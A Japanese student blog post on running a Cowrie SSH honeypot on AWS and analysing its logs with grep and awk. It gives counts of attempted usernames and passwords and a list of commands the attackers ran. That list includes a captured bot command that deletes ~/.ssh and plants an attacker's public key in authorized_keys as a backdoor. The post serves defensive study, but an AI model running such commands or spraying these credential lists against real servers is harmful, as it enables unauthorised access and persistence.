はじめに
エンジニア学生団体IDEA Advent Calendar 2023 最終日の投稿となります!
エンジニア学生団体IDEAで代表を務めているshuと申します。去年の12月ごろに設立し、最近設立1年を迎えた団体なのですが、おかげさまで150人以上の大所帯となっております。LT会やハッカソンなどを企画・運営しており、優秀な学生がのびのびと楽しんでおります。興味があればぜひご参加ください。
ハニーポットとは
ハニーポットは、攻撃者がシステムに侵入しようとする際に、その攻撃を検知、記録します。
中でも今回取り上げるハニーポットはSSHハニーポットというもので、攻撃者がサーバーに対してssh接続を試みるシチュエーションを想定していただければと思います。
Cowrieハニーポット
SSHハニーポットとして有名なものはいくつかあるのですが、Cowrieというものが一番有名です。Kippoという有名なハニーポットの改良版なのでこちらを使いましょう。
環境
今回はAWS EC2上にハニーポットを構築しています。
インスタンスサイズ: t2.small(vCPU: 1, RAM: 2.0 GiB)
OS: Ubuntu 22.04.3 LTS
運用
攻撃者はshodanなどにインデックスされているサーバーに対してsshでの接続を試みます。通常ssh接続に用いるポートは22番であるため、攻撃者に対しては22番ポートを開放しておきます。そして、Cowrie自体が動作するポート2222番に対し、リダイレクトを行います。
sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2222
自分自身はEC2インスタンスに対して2233番(任意)のポートを用いてssh接続しています。
つまり、22番はfakeで、2233番が本物という形です。
cat & grepを活用して簡単に分析しよう!
ログデータの分析としては、pythonのpandasを用いたり、Elastic Stackを用いたりなど、いくつか手法が考えられますが、今回はターミナル上でサッと分析してみましょう。
前提として、Cowrieを用いるとlogファイルとjsonファイルに対してログが溜まっていきます。以下は実例ですが、セキュリティの観点から伏せ字を含みます。
json
{"eventid":"cowrie.login.success","username":"develop","password":"develop","message":"login attempt [develop/develop] succeeded","sensor":"ip-xx-x-x-xxx","timestamp":"2023-12-24T00:31:07.571198Z","src_ip":"xxx.xxx.xxx.xx","session":"670a815ac601"}
log
2023-12-24T00:31:07.571198Z [HoneyPotSSHTransport,xxxxx,xxx.xxx.xxx.xx] login attempt [b'develop'/b'develop'] succeeded
なお、 11月19日から12月24日の間(36日) で収集したデータを用いています。
logファイルをまとめる
例えば12月10日のデータはcowrie.log.2023-12-10というファイルに保存されています。
よって、すべてのlogファイルを結合したファイルを生成するには正規表現を用いて以下のようにします。
cat cowrie.log* > cowrie-all.log
今回はこのcowrie-all.logファイルに対して分析を行います。
ログイン試行回数
まず合計で何回のログイン試行があったか見てみましょう。-cでカウントできます。
cat cowrie-all.log | grep -c "login attempt"
11599
合計で11,599回ものログイン試行がありました。36日で除算すると、1日に平均して322回のログイン試行が行われていることになります。過去の記事を参照すると、今よりもさらに多くの攻撃があったことがわかるため、比較的落ち着いています。攻撃が落ち着いている理由としてはCowrieの認知度が高まり、攻撃システムのブラックリストに入っているといったことが考えられます。(honeypotであるかを識別するhoneypot fingerprintingの分野の研究は年々アップデートされています。)
ユーザー名
次に試行の多いユーザー名を見てみましょう。
cat cowrie-all.log | grep -a "login attempt" | awk '{print $5}' | awk -F "'" '{print $2}' | sort | uniq -c | sort -nr | head
   8181 root
    977 345gs5662d34
    359 admin
    198 pi
    105 0
     71 ubuntu
     51 ubnt
     46 support
     37 user
     30 oracle
やはり慣習やデフォルトのユーザー名を狙った攻撃が多く、意味を持ったユーザー名を避けるだけでもセキュリティ対策としてはかなり有効だと考えられます。
| ユーザー名 | 試行回数 | 考察 | 
|---|---|---|
| root | 8181回 | 特権ユーザーへの攻撃 | 
| admin | 359回 | 管理者アカウントへの攻撃 | 
| pi | 198回 | IoTデバイスへの攻撃 | 
| ubuntu | 71回 | Linuxシステムを狙った攻撃 | 
| user | 37回 | 一般ユーザーアカウントへの攻撃 | 
345gs5662d34という謎のユーザー名でかなりの回数試行されています。これはNECのこちらの記事でも言及されています。
(ちなみにgrepの後に-aをつけないとテキストとしてではなくバイナリとして認識されてしまうので注意が必要)
パスワード
よく狙われるパスワードは以下。
cat cowrie-all.log | grep -a "login attempt" | awk '{print $5}' | awk -F "'" '{print $4}' | sort | uniq -c | sort -nr | head
    977 345gs5662d34
    967 3245gs5662d34
    246 admin
    239 123456
    208 password
    155 0
     88 root
     75 raspberry
     73 123
     66 raspberryraspberry993311
またしても、345gs5662d34やその派生系とみられる3245gs5662d34が多く見られました。ここで上位にあるようなパスワードは絶対に使わないようにしましょう。
ユーザー名、パスワードの組
cat cowrie-all.log | grep -a "login attempt" | awk '{print $5}' | sort | uniq -c | sort -nr | head
    977 [b'345gs5662d34'/b'345gs5662d34']
    375 [b'root'/b'3245gs5662d34']
    192 [b'admin'/b'admin']
    181 [b'root'/b'password']
    105 [b'0'/b'0']
     82 [b'root'/b'root']
     73 [b'pi'/b'raspberry']
     66 [b'pi'/b'raspberryraspberry993311']
     51 [b'admin'/b'admin01']
     50 [b'root'/b'admin']
ユーザー、パスワードの組はこのようになりました。心当たりのある方いるのではないでしょうか...。
ログイン試行回数の時間推移

特に理由はないと思いますが、12/4、12/5のみ非常に多いですね。両日とも同一IPからの試行がほとんどでした。ハニーポットの運用を開始してすぐはshodanなどにインデックスされていないため攻撃は飛んできません。
ログイン後に実行しているコマンド
cat cowrie-all.log | grep -a "CMD" | awk -F'CMD: ' '{print $2}' | sort | uniq -c | sort -nr
   6775 echo -e "\x6F\x6B"
   1016 cd ~; chattr -ia .ssh; lockr -ia .ssh
   1016 cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
    320 uname -s -v -n -r -m
    112 ./oinasf; dd if=/proc/self/exe bs=22 count=1 || while read i; do echo $i; done < /proc/self/exe || cat /proc/self/exe;
     87 uname -a
     29 ps | grep '[Mm]iner'
     29 ps -ef | grep '[Mm]iner'
     29 ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
     29 ifconfig
     29 echo Hi | cat -n
     29 cat /proc/cpuinfo
     29 /ip cloud print
     23 whoami
     23 which ls
     23 w
     23 uname -m
     23 uname
     23 top
     23 lscpu | grep Model
     23 ls -lh $(which ls)
     23 free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
     23 df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
     23 crontab -l
     23 cat /proc/cpuinfo | grep name | wc -l
     23 cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
     23 cat /proc/cpuinfo | grep model | grep name | wc -l
     ・・・
サーバーの情報を特定するためのコマンドが散見されます。echo -e "\x6F\x6B"はokと表示するだけですが、一般的なコマンドが実行できるかの確認でしょうか。
コマンド概要
| コマンド | 概要 | 
|---|---|
| w | 現在実行中のユーザーセッションとプロセス情報を表示します。 | 
| uname | システム情報を表示します。カーネル名、ホスト名、カーネルバージョンなどが含まれます。 | 
| top | システムのリソース使用状況をリアルタイムで表示します。CPU、メモリ、プロセス情報などが表示されます。 | 
| lscpu | CPU情報を表示します。アーキテクチャ、コア数、スレッド数などが含まれます。 | 
| free | メモリ(RAM)の使用状況を表示します。利用可能なメモリ、使用中のメモリ、キャッシュメモリなどが表示されます。 | 
| df | ディスク使用状況を表示します。ディスク容量、使用済み容量、利用可能な容量などが表示されます。 | 
| crontab | ユーザーのcronジョブを管理します。 -lオプションを使用して現在のユーザーのcronジョブを表示します。 | 
さいごに
ついついデフォルトの設定や慣習にならった設定をしてしまいがちですが、botの餌食になるので気をつけましょう。少しでもセキュリティを意識するきっかけになれば幸いです。
メリークリスマス🎅🎄


